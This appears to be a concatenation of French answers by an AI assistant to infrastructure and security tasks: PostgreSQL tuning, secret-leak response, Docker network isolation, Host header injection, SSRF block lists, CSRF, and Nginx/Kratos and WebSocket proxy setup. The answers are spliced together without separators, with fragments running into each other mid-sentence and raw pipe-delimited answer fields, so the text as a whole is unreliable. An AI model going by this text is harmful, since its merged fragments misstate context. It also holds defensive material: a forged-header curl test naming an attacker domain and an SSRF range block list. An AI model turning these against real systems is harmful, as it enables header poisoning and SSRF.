stats: relancer `ANALYZE VERBOSE` sur la table, contrôler la fraîcheur (`pg_stat_user_tables.last_analyze` / `last_autoanalyze`) et la volumétrie vue par le planificateur (`pg_class.reltuples`, `relpages`), puis lire `pg_stats` pour les colonnes du filtre (`n_distinct`, `most_common_vals`, `most_common_freqs`, `histogram_bounds`, `null_frac`) ; si l'histogramme est trop grossier, monter la cible avec `ALTER TABLE t ALTER COLUMN c SET STATISTICS 500` puis re-`ANALYZE`, et comparer l'estimation mono-colonne à la réalité pour savoir si l'erreur vient d'une colonne isolée ou du croisement|correlation: tester l'hypothèse d'indépendance en mesurant séparément chaque prédicat ($\text{rows}_1$, $\text{rows}_2$) puis le conjoint : si $\text{rows}_{réel} \gg N \cdot \frac{\text{rows}_1}{N}\cdot\frac{\text{rows}_2}{N}$, la corrélation est confirmée ; créer alors des statistiques étendues `CREATE STATISTICS s_t (dependencies, ndistinct, mcv) ON c1, c2 FROM t` puis `ANALYZE t` (le type `mcv` n'existe qu'à partir des versions récentes de PostgreSQL, à vérifier sur votre serveur) ; si le filtre porte sur une expression ou une fonction, créer aussi des statistiques d'expression ou un index d'expression, car sans cela le planificateur retombe sur une sélectivité par défaut ; vérifier enfin `pg_stats.correlation` qui mesure l'ordre physique et non la dépendance entre colonnes, à ne pas confondre|index: dans `EXPLAIN (ANALYZE, BUFFERS, VERBOSE)`, comparer `Rows Removed by Filter` aux lignes retournées pour distinguer un index mal sélectif d'une mauvaise estimation, distinguer `Index Cond` (évalué dans l'index) de `Filter` (évalué après lecture du heap), vérifier l'usage réel via `pg_stat_user_indexes` (`idx_scan`, `idx_tup_read` vs `idx_tup_fetch`), puis envisager un index composite dans l'ordre égalité d'abord et plage ensuite, un index partiel sur le prédicat corrélé, ou un index couvrant avec `INCLUDE` pour viser un Index Only Scan ; contrôler aussi la fragmentation et le besoin d'un `REINDEX CONCURRENTLY`, sans jamais supprimer un index existant avant d'avoir mesuré son usage|measure: rejouer la requête après chaque changement, une modification à la fois, avec `EXPLAIN (ANALYZE, BUFFERS, SETTINGS, WAL)` et plusieurs exécutions pour séparer cache froid et cache chaud, en enregistrant estimation, lignes réelles, temps, blocs lus et facteur d'erreur $\frac{\text{réel}}{\text{estimé}}$ dans un tableau avant/après ; activer `auto_explain` avec `auto_explain.log_analyze` et `log_min_duration` pour capturer les plans en production, vérifier la stabilité sur des valeurs de paramètres différentes (risque de plan générique avec les requêtes préparées, testable via `plan_cache_mode`), et ne considérer une contrainte de plan (`pg_hint_plan`, désactivation locale d'un type de nœud, `join_collapse_limit`) qu'en dernier recours documenté et réversible, car elle masque la cause sans la corriger et se dégrade quand les données évoluent0,8 (80 % de lignes mortes, soit 800 000 / 1 000 000)|Bloat majeur avec autovacuum jamais passé sur cette table : le seuil par défaut (autovacuum_vacuum_threshold 50 + autovacuum_vacuum_scale_factor 0,2 × 1 000 000 = 200 050 tuples morts) est largement dépassé, donc autovacuum_count=0 indique soit autovacuum_enabled=false sur la table (ou autovacuum global off), soit un nettoyage empêché par un horizon xmin retenu (transaction longue, transaction préparée, slot de réplication inactif, hot_standby_feedback) ; hypothèse à confirmer par pg_stat_activity, pg_prepared_xacts et pg_replication_slots|Lancer VACUUM (ANALYZE, VERBOSE) sur la table, sans FULL : le VACUUM standard ne prend qu'un SHARE UPDATE EXCLUSIVE et n'empêche ni les lectures ni les écritures, alors que VACUUM FULL prend un ACCESS EXCLUSIVE et bloquerait la table ; risque résiduel : charge d'E/S et l'espace n'est pas restitué au système de fichiers, et le VACUUM restera sans effet si l'horizon xmin est retenu|autovacuum_enabled et les seuils de déclenchement au niveau table (autovacuum_vacuum_scale_factor, autovacuum_vacuum_threshold), à abaisser pour une grande table, puis autovacuum, autovacuum_naptime, autovacuum_vacuum_cost_limit / autovacuum_vacuum_cost_delay et autovacuum_max_workers pour le débit du nettoyage
révoquer immédiatement le secret exposé, le considérer comme compromis, générer un nouveau secret à portée minimale et auditer son utilisation depuis l’exposition|restreindre immédiatement l’accès aux journaux concernés, préserver une copie sécurisée pour l’investigation, puis expurger ou masquer le secret dans les systèmes de collecte et empêcher toute nouvelle journalisation|supprimer le secret des variables ENV et de toutes les configurations amont, corriger le code qui l’affiche et utiliser un gestionnaire de secrets avec injection par fichier monté ou récupération à l’exécution|reconstruire si nécessaire puis redéployer en recréant les conteneurs avec le nouveau secret, invalider les images et caches contaminés et vérifier son absence dans l’environnement et les nouveaux journaux
## Lecture de la topologie
Deux réseaux, deux périmètres :
| Réseau | Membres | Rôle |
|---|---|---|
| `backend` | `web`, `db` | Réseau interne, aucun port publié |
| `edge` | `web` seul | Réseau d'entrée, `web` publie 443 |
`db` n'appartient qu'à `backend`, donc elle n'a aucun chemin depuis `edge` ni depuis l'hôte.
## Les quatre propriétés d'exposition
```json
{
"db_name": "db",
"db_host_port": null,
"web_public_port": 443,
"network_isolation": "db joignable uniquement depuis web via le reseau backend; aucune exposition sur l'hote ni sur edge; web est le seul point d'entree externe"
}
```
Détail de chaque propriété :
**1. `db_name` = `db`**
C'est le nom du service tel qu'il figure sous `services:` dans le fichier de composition. `web` adresse la base par ce nom, résolu sur le réseau `backend`. Attention à une nuance de configuration : la clé `container_name` permet de forcer un autre nom de conteneur, et par défaut le conteneur prend celui de la clé YAML du service (Wikibooks, Docker/Docker compose, section `container_name`). La clé `hostname` permet également de forcer un nom de machine dans le conteneur (même source). La résolution DNS automatique par nom de service sur un réseau utilisateur est le comportement standard de Docker Compose, mais je signale honnêtement que mon article local ne documente pas explicitement ce mécanisme de découverte DNS : il documente `hostname` et `extra_hosts`. À vérifier sur la documentation officielle si ce point est critique pour vous.
**2. `db_host_port` = aucun (`null`)**
Puisque l'énoncé ne prévoit aucune publication pour `db`, il n'existe aucune clé `ports:` sur ce service. La clé `ports:` est précisément celle qui réalise le mapping du partage des ports vers l'hôte, par exemple `- "3306:3306"` (Wikibooks, Docker/Docker compose, section `ports`). Son absence signifie que 5432 ou 3306 reste atteignable dans le réseau `backend`, mais n'est lié à aucun port de l'hôte. C'est la bonne pratique : l'exemple « avancé » de l'article publie au contraire `3306:3306`, ce qui expose la base sur l'hôte et n'est pas souhaitable en production.
**3. `web_public_port` = 443**
Seul port publié de la pile, porté par `web` sur le réseau `edge`. La syntaxe recommandée met les associations de ports entre guillemets, car les valeurs contenant `:` risquent une interprétation en nombres sexagésimaux (Wikibooks, Docker/Docker compose, préambule sur la configuration YAML) : écrivez donc `- "443:443"`.
**4. `network_isolation` = isolation stricte de `db` derrière `web`**
La segmentation repose sur l'appartenance aux réseaux, non sur un pare-feu applicatif : `db` ne partage aucun réseau avec l'extérieur, donc la surface d'attaque exposée se réduit au seul port 443 de `web`. `web` joue le rôle de frontière entre `edge` et `backend`.
## Squelette de composition correspondant
```yaml
networks:
edge:
backend:
internal: true
services:
web:
image: nginx:1.27-alpine
ports:
- "443:443"
networks:
- edge
- backend
depends_on:
- db
restart: unless-stopped
db:
image: postgres:16-alpine
networks:
- backend
environment:
POSTGRES_PASSWORD: ${DB_PASSWORD:?secret requis}
volumes:
- db_data:/var/lib/postgresql/data
restart: unless-stopped
volumes:
db_data:
```
Deux précisions sur ce squelette. D'abord `internal: true` sur `backend` : c'est une option de la section `networks` qui supprime le routage sortant du réseau ; je l'ajoute par prudence défensive, mais mon article local ne la documente pas, elle relève de la documentation officielle du format Compose, à confirmer de votre côté. Ensuite le mot de passe : il est injecté par variable d'environnement issue d'un fichier `.env` ou d'un gestionnaire de secrets, jamais écrit en clair dans le fichier de composition. La clé `env_file` avec la syntaxe `${ma_variable}` et une valeur par défaut est documentée dans l'article (Wikibooks, Docker/Docker compose, section `env_file`). La forme `${DB_PASSWORD:?...}` fait échouer le démarrage si le secret manque, ce qui est un échec en mode fermé, préférable à un démarrage avec un mot de passe vide.
## Vérification proposée
```bash
# 1. Le port 443 est bien le seul port publie de la pile
docker compose ps --format '{{.Service}} {{.Publishers}}'
# 2. db n'est attachee qu'a backend
docker inspect -f '{{range $k,$v := .NetworkSettings.Networks}}{{$k}} {{end}}' \
"$(docker compose ps -q db)"
# 3. db n'est pas joignable depuis l'hote (attendu : echec de connexion)
nc -zv 127.0.0.1 5432
# 4. db est joignable depuis web (attendu : succes)
docker compose exec web nc -zv db 5432
```
Le test 3 mérite une réserve d'interprétation : un échec de `nc` indique qu'aucun service n'a répondu sur ce couple adresse-port au moment du test, il ne prouve pas à lui seul l'absence de toute exposition. C'est l'inspection de la configuration, tests 1 et 2, qui constitue la preuve, le test 3 n'en est qu'une corroboration.
## Risques résiduels
Cette isolation réseau ne rend pas la pile sûre, elle réduit une surface d'attaque parmi d'autres. Restent notamment :
- une compromission de `web` donne un accès réseau direct à `db`, puisque `web` est membre de `backend` ; il faut donc un compte applicatif à moindre privilège dans la base, sans droit de création ni de migration, distinct du compte de migration ;
- la terminaison TLS sur 443 doit reposer sur une configuration à jour, un certificat valide et un chiffrement authentifié ;
- l'accès au socket Docker par un conteneur, pattern visible dans l'exemple Traefik de l'article local qui monte `/var/run/docker.sock`, équivaut à un accès root sur l'hôte et annule en pratique le bénéfice de la segmentation ; à éviter ou à médier par un proxy de socket restreint ;
- les sauvegardes du volume `db_data` et leur chiffrement au repos sont hors du périmètre de cette segmentation et doivent être traités séparément.DATA,DEK,KMS,CIPHERTEXT
Désactivation immédiate du compte SSO au fournisseur d'identité pour bloquer toute nouvelle authentification, révocation de toutes les sessions actives et des jetons associés (jetons de rafraîchissement, cookies, jetons d'accès) car elles survivent à la désactivation du compte, révocation et suppression de toutes les clés personnelles hors SSO (clés SSH, clés d'API, jetons personnels, certificats clients) qui contournent le fournisseur d'identité, retrait de toutes les appartenances aux groupes, rôles et habilitations avec conservation du compte en état désactivé et journalisation pour l'audit.
**Host header injection: le lien de récupération est construit sur `attacker.example`, donc le jeton de réinitialisation part vers l'attaquant, prise de contrôle de compte, plus risque d'empoisonnement de cache et de fuite de jeton via Referer | Nginx: vhost strict `server_name auth.lanxas.com;` plus un `default_server` attrape-tout qui refuse tout Host inconnu (`return 421;` ou `444`), et vers l'amont `proxy_set_header Host auth.lanxas.com;` en n'acheminant jamais `$http_host`, `X-Forwarded-Host` ni `X-Original-Host` non filtrés (liste blanche de Host, refus par défaut) | URL de base canonique fixée côté serveur dans la configuration applicative (variable d'environnement, hors du code et hors des en-têtes client), utilisée seule pour générer le lien | Requête rejetée: 421 Misdirected Request, aucun lien ni jeton généré, événement journalisé sans le jeton ni aucun secret** Risques résiduels: en-tête réécrit par un intermédiaire de confiance mal configuré, absence de validation du Host dans un autre point d'entrée (worker, e-mail asynchrone, redirection), et dépendance à la bonne configuration du `default_server` qui doit être testée.
DNS rebinding (SSRF par TOCTOU entre validation et connexion)|résoudre le nom une seule fois, valider **toutes** les adresses retournées (A et AAAA) et épingler le résultat (DNS pinning), refus par défaut si une seule adresse est interdite|se connecter à l'adresse IP validée et épinglée, jamais au nom réhydraté par une seconde résolution, avec re-validation identique de chaque redirection et de chaque nouvelle connexion (ou socket contraint à l'IP épinglée)|liste blanche de destinations et blocage des plages non routables ou spéciales : 0.0.0.0/8, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16 (dont 169.254.169.254), 100.64.0.0/10, 192.0.0.0/24, 192.0.2.0/24, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 224.0.0.0/4, 240.0.0.0/4, ::1/128, ::/128, fc00::/7, fe80::/10, ::ffff:0:0/96 et adresses IPv4 mappées
decode_percent_une_seule_passe_rejet_si_%_ou_\_residuel > realpath(join("/srv/files", chemin))_resolution_des_..._et_liens_symboliques > prefixe_canonique_doit_commencer_par_"/srv/files/"_sinon_403 > open(O_RDONLY|O_NOFOLLOW|O_CLOEXEC)_puis_fstat_revalidation_fichier_reguliersupprimé en production|toujours présent dans la sauvegarde immuable, non purgeable|restauration réintroduit la donnée, purge des 30 jours à rejouer immédiatement avant remise en service et accès restreint entre-temps|effacement effectif partout, la sauvegarde ayant expiré
{"acteur":"identifiant stable du sujet authentifie: sub/user_id, tenant, id_session ou jti sous forme de reference non reversible (hash tronque), IP source et user-agent, sans jeton ni mot de passe ni cookie","décision":"resultat de l'autorisation: deny, statut HTTP 403, motif normalise (role/scope insuffisant), horodatage UTC, trace_id/request_id, point d'application (PEP) ayant tranche","ressource":"cible exacte de l'action: methode DELETE, chemin /users/9, type users, identifiant d'objet 9, proprietaire/tenant de l'objet, sans donnees personnelles du profil vise","règle":"regle de politique evaluee: policy_id et version, nom de la regle (ex. users:delete requiert role admin ou scope users.delete), effet attendu, attributs compares (roles/scopes presents contre requis) sans valeurs de jeton"}**21,6|1296|99,95 %|non respecté**
Détail du calcul
- Budget d'indisponibilité : $43200 \times (1 - 0{,}9995) = 43200 \times 5\times10^{-4} = 21{,}6$ min
- En secondes : $21{,}6 \times 60 = 1296$ s
- Disponibilité minimale exigée (cible) : $99{,}95\ \%$, soit au plus $21{,}6$ min d'arrêt sur la période
- Disponibilité réelle avec 30 min de panne : $1 - \dfrac{30}{43200} = 0{,}999305\overline{5} \approx 99{,}9306\ \%$
| Élément | Valeur |
|---|---|
| Fenêtre | 43 200 min (30 j) |
| Budget autorisé | 21,6 min = 1296 s |
| Panne constatée | 30 min = 1800 s |
| Dépassement | 8,4 min = 504 s |
| Disponibilité atteinte | 99,9306 % |
| Verdict | non respecté (99,9306 % < 99,95 %) |
Hypothèses : mois de 30 jours pris comme 43 200 minutes exactes, panne unique de 30 minutes entièrement comptabilisée, aucune exclusion contractuelle de type maintenance planifiée (calculs effectués avec l'outil local, résultats exacts $21{,}6$ et $1296$).| Élément | Évaluation | |---|---| | Correspondance de `api.lanxas.com` | **Oui** | | Correspondance de `api.eu.lanxas.com` | **Non** | | Profondeur couverte | **Un seul niveau de sous-domaine** immédiatement sous `lanxas.com` | | Verdict pour l’hôte demandé | **Certificat non valide pour `api.eu.lanxas.com`** : échec de validation du nom d’hôte |
**Signalement d'incohérence dans l'énoncé.** Le contrôle porte sur quatre mécanismes (authentification, autorisation RBAC, jeton CSRF, journal d'audit), donc quatre verdicts, plus le résultat global : cela fait **cinq valeurs**, et le résultat global est la cinquième, non la quatrième. Je livre donc les quatre verdicts dans l'ordre, puis le global identifié comme tel.
| # | Contrôle | État constaté | Verdict |
|---|---|---|---|
| 1 | Authentification par cookie | cookie valide | **PASS** |
| 2 | Autorisation RBAC | rôle autorisé | **PASS** |
| 3 | Jeton CSRF | jeton absent | **FAIL** |
| 4 | Journal d'audit | opérationnel | **PASS** |
| — | **Résultat global** | conjonction des contrôles | **REFUS (mutation rejetée, HTTP 403)** |
Séquence demandée : PASS, PASS, FAIL, PASS, puis global REFUS.
**Justification du global.** Une mutation sensible n'est légitime que si *tous* les contrôles passent : la décision est une conjonction logique, et un mode d'échec fermé (fail closed) impose le refus dès qu'un contrôle échoue. Formellement :
$$V_{\text{global}} = V_1 \wedge V_2 \wedge V_3 \wedge V_4 = \text{PASS} \wedge \text{PASS} \wedge \text{FAIL} \wedge \text{PASS} = \text{FAIL}$$
**Points de doctrine à ne pas confondre.**
- Le cookie valide établit l'**authenticité de l'identité**, pas l'**intention** de l'utilisateur pour cette requête précise. C'est exactement le scénario du député confus (confused deputy) : un site tiers peut déclencher la requête avec le cookie légitime attaché.
- Le RBAC établit que l'identité *aurait le droit* d'effectuer l'action ; il n'établit pas que c'est bien elle qui l'a voulue. Autorisation et preuve d'origine de la requête sont deux propriétés distinctes.
- Le journal d'audit relève de la **traçabilité** (et sert l'intégrité de la preuve) ; il est détectif, jamais préventif. Un audit sain n'autorise rien : il doit ici enregistrer la tentative rejetée avec le motif « jeton CSRF manquant », sans journaliser le cookie ni aucun secret.
- L'absence de jeton doit être traitée comme un échec, jamais comme un cas neutre à ignorer : un contrôle qui « ne s'applique pas » par défaut est un contournement trivial.
**Risques résiduels, même après ce refus correct.** Le refus de cette requête ne prouve pas que la protection CSRF est correctement implémentée partout : il faut vérifier la couverture de toutes les routes mutantes, l'attribut `SameSite` du cookie de session, la validation stricte de `Origin`/`Referer`, la comparaison du jeton en temps constant, et l'absence d'exemption pour les méthodes ou les formats de contenu contournables. Ces points relèvent de l'audit d'implémentation et ne sont pas établis par l'énoncé.## 1. Diagnostic
L'URL fautive `http://ory:443/` se décompose en deux erreurs indépendantes, chacune attribuable à une valeur non transmise :
| Symptôme observé | Cause probable |
|---|---|
| `http://` au lieu de `https://` | Kratos voit la connexion réelle de Nginx, qui est en clair, et aucun en-tête ne lui signale que le schéma public est HTTPS. |
| `ory:443` au lieu de `auth.lanxas.com` | L'en-tête `Host` reçu par Kratos vaut le nom de l'upstream. Nginx, lorsque `proxy_set_header Host` n'est pas défini dans le bloc `location`, envoie par défaut la valeur `$proxy_host`, c'est-à-dire le couple hôte:port écrit dans `proxy_pass` (comportement documenté du module `ngx_http_proxy_module`, connaissance de modèle, non vérifiable avec mes sources hors ligne). |
La combinaison des deux produit exactement `http` + `ory:443`, ce qui est cohérent avec un `proxy_pass http://ory:443;` sans réécriture d'en-têtes. C'est une hypothèse de diagnostic, à confirmer sur votre `nginx.conf` réel.
Le principe général à appliquer : un service derrière un proxy inverse ne peut pas deviner son identité publique, elle doit lui être **déclarée**, et il ne doit accepter cette déclaration **que** du proxy de confiance. L'article X-Forwarded-For de Wikipédia énonce ce point de façon explicite : « The usefulness of XFF depends on the proxy server truthfully reporting the original host's IP address; for this reason, effective use of XFF requires knowledge of which proxies are trustworthy » et « If the server is behind a trusted reverse proxy and only allows connections from that proxy, the header value can usually be assumed to be trustworthy » (Wikipédia EN, article X-Forwarded-For).
## 2. Les quatre valeurs publiques
| Clé | Valeur publique à fixer ou transmettre | Support technique |
|---|---|---|
| `scheme` | `https` | En-tête `X-Forwarded-Proto: https` posé par Nginx, complété par `X-Forwarded-Port: 443` |
| `host` | `auth.lanxas.com` | En-têtes `Host: auth.lanxas.com` **et** `X-Forwarded-Host: auth.lanxas.com` posés par Nginx |
| `base_url` | `https://auth.lanxas.com/` | Configuration Kratos `serve.public.base_url` (ou la variable d'environnement correspondante) |
| `trust_boundary` | Nginx uniquement, dernier proxy de confiance, Kratos non exposé et joignable seulement depuis le réseau interne, Nginx n'acceptant les en-têtes de bout en bout que des plages IP publiées par Cloudflare | `set_real_ip_from` / `real_ip_header` côté Nginx, isolation réseau et pare-feu côté Kratos |
Précision sur `base_url` : c'est la valeur **canonique et déterministe**. Fixer `base_url` en dur est la correction robuste, car elle rend la génération d'URL indépendante de tout en-tête falsifiable. Les valeurs `scheme` et `host` transmises par en-têtes restent nécessaires pour les composants qui les consomment (journalisation, redirections relatives, cookies). Le nom exact de la clé `serve.public.base_url` provient de ma mémoire de modèle sur Ory Kratos, je ne peux pas le vérifier avec mon encyclopédie hors ligne : contrôlez-le dans le schéma de configuration de votre version exacte avant mise en production.
## 3. Actions concrètes
Nginx, bloc de proxy vers Kratos :
```nginx
# Ne faire confiance qu'aux plages Cloudflare publiees officiellement.
# Remplacez ces lignes par la liste courante recuperee aupres de Cloudflare.
# set_real_ip_from <plage_cloudflare>;
real_ip_header CF-Connecting-IP;
real_ip_recursive on;
server {
listen 443 ssl http2;
server_name auth.lanxas.com;
# ssl_certificate / ssl_certificate_key : vos chemins reels
location / {
# Le port doit etre le port public de Kratos, a verifier dans votre compose.
proxy_pass http://ory:4433;
# host : identite publique, sinon Nginx enverrait $proxy_host
proxy_set_header Host auth.lanxas.com;
proxy_set_header X-Forwarded-Host auth.lanxas.com;
# scheme : declaration du schema public
proxy_set_header X-Forwarded-Proto https;
proxy_set_header X-Forwarded-Port 443;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_http_version 1.1;
proxy_redirect off;
}
}
```
Kratos, configuration publique :
```yaml
serve:
public:
base_url: https://auth.lanxas.com/
cors:
enabled: false
admin:
# L'API admin ne doit jamais etre exposee publiquement.
base_url: http://ory:4434/
session:
cookie:
domain: auth.lanxas.com
same_site: Lax
```
Point de vigilance sur le schéma : si `base_url` est en `https` alors que Kratos reçoit du HTTP en clair, certaines implémentations refusent de poser un cookie `Secure` ou exigent un drapeau de développement. Vérifiez le comportement de votre version plutôt que d'activer un mode permissif en production.
## 4. Vérification
Test depuis l'hôte Nginx, en simulant une requête publique et en observant l'URL générée dans l'en-tête `Location` :
```bash
curl -sS -D - -o /dev/null \
-H 'Host: auth.lanxas.com' \
-H 'X-Forwarded-Proto: https' \
-H 'X-Forwarded-Host: auth.lanxas.com' \
http://ory:4433/self-service/login/browser | grep -i '^location:'
```
Critère de succès : la ligne renvoyée commence par `location: https://auth.lanxas.com/`. Toute occurrence de `http://` ou de `ory:` signe une valeur encore non propagée.
Contrôle de l'étanchéité de la frontière de confiance, en forgeant un en-tête depuis l'extérieur :
```bash
curl -sS -D - -o /dev/null \
-H 'X-Forwarded-Host: attaquant.example' \
-H 'X-Forwarded-Proto: http' \
https://auth.lanxas.com/self-service/login/browser | grep -i '^location:'
```
Critère de succès : l'URL reste `https://auth.lanxas.com/`, ce qui prouve que Nginx écrase les en-têtes clients au lieu de les relayer, et que `base_url` prime.
Je n'ai pas exécuté ces commandes, je n'ai accès ni à votre infrastructure ni au réseau. Ce sont des tests à lancer chez vous.
## 5. Risques et limites
- **En-têtes falsifiables.** `X-Forwarded-Proto` et `X-Forwarded-Host` sont des en-têtes non normalisés, seul l'en-tête `Forwarded` a été standardisé par le RFC 7239 (Wikipédia EN, article X-Forwarded-For). Ils sont triviaux à forger : leur valeur n'est exploitable que parce que Nginx les **réécrit systématiquement** et que Kratos n'est **pas joignable** en contournant Nginx. Si Kratos reste accessible directement sur le réseau, la frontière de confiance est nulle et l'empoisonnement d'en-tête `Host` redevient possible, avec risque de redirection ou de lien de réinitialisation pointant vers un domaine attaquant.
- **Aucune configuration n'est « sans risque ».** Risques résiduels après correction : erreur de plages Cloudflare mises à jour, exposition accidentelle du port Kratos par une règle Docker publiant le port sur l'hôte, API admin (`:4434` selon ma mémoire, à vérifier) laissée atteignable, absence de mode Cloudflare « Full (strict) » permettant un TLS non validé entre Cloudflare et Nginx.
- **Cookies.** Un changement de `host` ou de `domain` de cookie invalide les sessions en cours. Prévoyez la déconnexion des utilisateurs actifs et un créneau de bascule.
- **Redirections en boucle.** Si Cloudflare est en mode « Flexible » et que Nginx force une redirection vers HTTPS, vous obtiendrez une boucle. Vérifiez la cohérence du mode TLS Cloudflare avant de forcer une redirection.
- **Rollback.** Sauvegardez la configuration actuelle de Nginx et de Kratos avant modification, et prévoyez la restauration du fichier plus rechargement, `nginx -t` avant tout `reload`. Aucune opération décrite ici n'est destructive, mais un rechargement avec configuration invalide interrompt le service d'authentification.
- **Ce que je n'ai pas pu vérifier.** Les noms de clés de configuration Kratos, les ports par défaut et la règle de précédence exacte entre `base_url` et les en-têtes proviennent de ma mémoire de modèle, potentiellement périmée selon votre version. Mon encyclopédie hors ligne ne contient pas d'article sur Ory Kratos. Confirmez sur la documentation officielle de la version que vous déployez.X-Forwarded-Proto|https (via `proxy_set_header X-Forwarded-Proto $scheme;` sur le vhost TLS)|`app.set('trust proxy', 1)` (un seul saut de confiance, pas `true` qui accepterait un en-tête usurpé)|req.secure=true pour les requêtes arrivées en HTTPS, la condition de forçage ne se déclenche plus, boucle 301 supprimée; les vrais appels HTTP restent redirigés une seule fois## Diagnostic
Le 400 est cohérent avec un handshake WebSocket rompu par le proxy, non par l'application : le serveur Node reçoit une requête sans la sémantique d'upgrade attendue par la RFC 6455, qui exige un handshake HTTP de mise à niveau de la connexion (article Wikipédia FR « WebSocket », protocole normalisé par la RFC 6455). Deux causes structurelles se combinent côté Nginx :
1. Nginx dialogue par défaut avec l'amont en **HTTP/1.0**, version qui ne connaît pas le mécanisme d'upgrade persistant.
2. Les en-têtes de saut (`Upgrade`, `Connection`) sont des en-têtes **hop-by-hop** : ils ne sont pas relayés automatiquement vers l'amont, il faut les réinjecter explicitement.
S'y ajoute un effet différé : même quand le handshake réussit, une connexion WebSocket silencieuse est coupée au bout de `proxy_read_timeout` (60 s par défaut), ce qui produit des déconnexions apparemment aléatoires.
## Les quatre réglages
```nginx
location /ws/ {
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_read_timeout 3600s;
}
```
| Réglage | Directive | Rôle |
|---|---|---|
| Version HTTP | `proxy_http_version 1.1;` | Active HTTP/1.1 vers l'amont, prérequis de l'upgrade |
| Upgrade transmis | `proxy_set_header Upgrade $http_upgrade;` | Réinjecte l'en-tête `Upgrade: websocket` du client |
| Connection | `proxy_set_header Connection "upgrade";` | Déclare la connexion comme candidate à la mise à niveau |
| Délai de lecture | `proxy_read_timeout 3600s;` | Empêche la coupure de la session inactive |
**Réserve explicite sur une valeur.** Votre énoncé demande « exactement les valeurs demandées » mais ne fixe aucune durée pour le délai de lecture. La valeur `3600s` est donc un **choix par défaut de ma part**, non une donnée de votre énoncé. Si votre spécification impose une autre durée, remplacez-la ; les trois autres valeurs (`1.1`, `$http_upgrade`, `"upgrade"`) sont, elles, contraintes par le protocole et non arbitraires.
**Statut des sources.** La sémantique du handshake d'upgrade est étayée par l'encyclopédie locale (article « WebSocket », RFC 6455). En revanche, la syntaxe exacte des directives Nginx ci-dessus provient de ma connaissance du module `ngx_http_proxy_module` et **n'a pas pu être vérifiée par mes outils locaux**, qui ne contiennent pas la documentation Nginx. À valider contre la documentation officielle de votre version.
## Variante robuste recommandée
Le codage en dur de `Connection "upgrade"` casse les requêtes HTTP ordinaires passant par le même `location` (le client n'ayant pas demandé d'upgrade reçoit une connexion mal qualifiée). La forme conditionnelle est préférable en production :
```nginx
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
server {
location /ws/ {
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_read_timeout 3600s;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
```
Le bloc `map` doit se trouver au niveau `http`, hors de tout `server`.
## Vérification
Appliquez dans cet ordre, sans redémarrage brutal :
```bash
nginx -t # valide la syntaxe avant tout rechargement
nginx -s reload # rechargement sans coupure des connexions établies
```
Test du handshake, un code **101 Switching Protocols** est attendu, non un 200 ni un 400 :
```bash
curl -i -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Host: exemple.tld" \
http://exemple.tld/ws/
```
Si le 400 persiste après ces réglages, la cause n'est plus dans ces quatre directives. Pistes à instruire alors, présentées comme **hypothèses à vérifier** et non comme diagnostics établis : un second proxy en amont (CDN, équilibreur de charge, Cloudflare) qui filtre l'upgrade ; une réécriture d'URI par `rewrite` ou un `proxy_pass` avec chemin qui altère la cible ; un contrôle d'origine côté Node rejetant l'en-tête `Origin` ou `Host` transmis ; ou une absence de `Sec-WebSocket-Key` valide.
## Risques et limites
- `nginx -s reload` n'est pas sans effet : les workers anciens persistent le temps d'écouler les connexions, une session WebSocket longue peut survivre sur l'ancienne configuration et masquer temporairement le résultat du test.
- `proxy_read_timeout 3600s` allonge la durée de vie des connexions et donc la consommation de descripteurs de fichiers et de mémoire. Sur un service à fort volume, dimensionnez `worker_connections` et la limite `nofile` en conséquence, et préférez un ping applicatif périodique côté WebSocket à un timeout très long.
- Ces réglages traitent le transport uniquement. Ils n'apportent **aucune** authentification ni autorisation : la vérification des droits doit rester côté serveur, à l'établissement de la connexion et à chaque message sensible.
- En TLS, utilisez `wss://` côté client et vérifiez que `X-Forwarded-Proto` est bien exploité par Node, sous peine de redirections en boucle.1. **Trafic** : contourner immédiatement le cache pour `/api/me` afin de servir toutes les requêtes depuis l’origine. 2. **Cache** : purger `/api/me` sur tous les caches Cloudflare, voire toute la zone si la portée est incertaine. 3. **Règle** : supprimer ou corriger `Cache Everything`, exclure durablement les routes authentifiées et renvoyer `Cache-Control: private, no-store`. 4. **Validation** : tester avec deux sessions distinctes et sans session, sur plusieurs POP, en vérifiant l’identité retournée et que `cf-cache-status` n’est jamais `HIT`.
## 1. Cause
**Cause principale, la plus probable : persistance des caches DNS sous l'ancien TTL.** Dans le DNS, le TTL indique le temps, en secondes, pendant lequel l'information servie par le serveur peut être conservée en cache, et ce n'est qu'à l'expiration de ce délai que l'information doit être considérée comme obsolète et mise à jour (Wikipédia FR, article « Time to Live », section « Le Time to Live dans le DNS »). Tant que l'ancien enregistrement A n'a pas expiré dans les résolveurs récursifs, les forwarders d'entreprise et les caches applicatifs, une fraction des clients continue légitimement de joindre 198.51.100.10 : ce n'est pas une panne, c'est le comportement normal du protocole.
Le chiffre observé est cohérent : la décroissance du trafic vers l'ancienne IP suit l'expiration échelonnée des caches, chaque résolveur ayant mis l'enregistrement en cache à un instant différent. Avec un ancien TTL noté $T$, un résolveur ayant peuplé son cache à l'instant $t_0$ ne verra la nouvelle valeur qu'à $t_0 + T$, d'où une extinction étalée sur une fenêtre de durée $T$ après le changement.
Causes secondaires à écarter par mesure, **hypothèses non vérifiables avec les seuls éléments fournis** :
| Hypothèse alternative | Comment la vérifier |
|---|---|
| Résolveurs ou bibliothèques clientes ne respectant pas le TTL (cache prolongé) | Trafic résiduel persistant au-delà de $2T$ dans les logs de l'ancienne origine |
| IP codée en dur (fichier hosts, configuration applicative, certificat, appel de service à service) | Analyse des User-Agent, ASN et sous-réseaux sources sur l'ancienne IP |
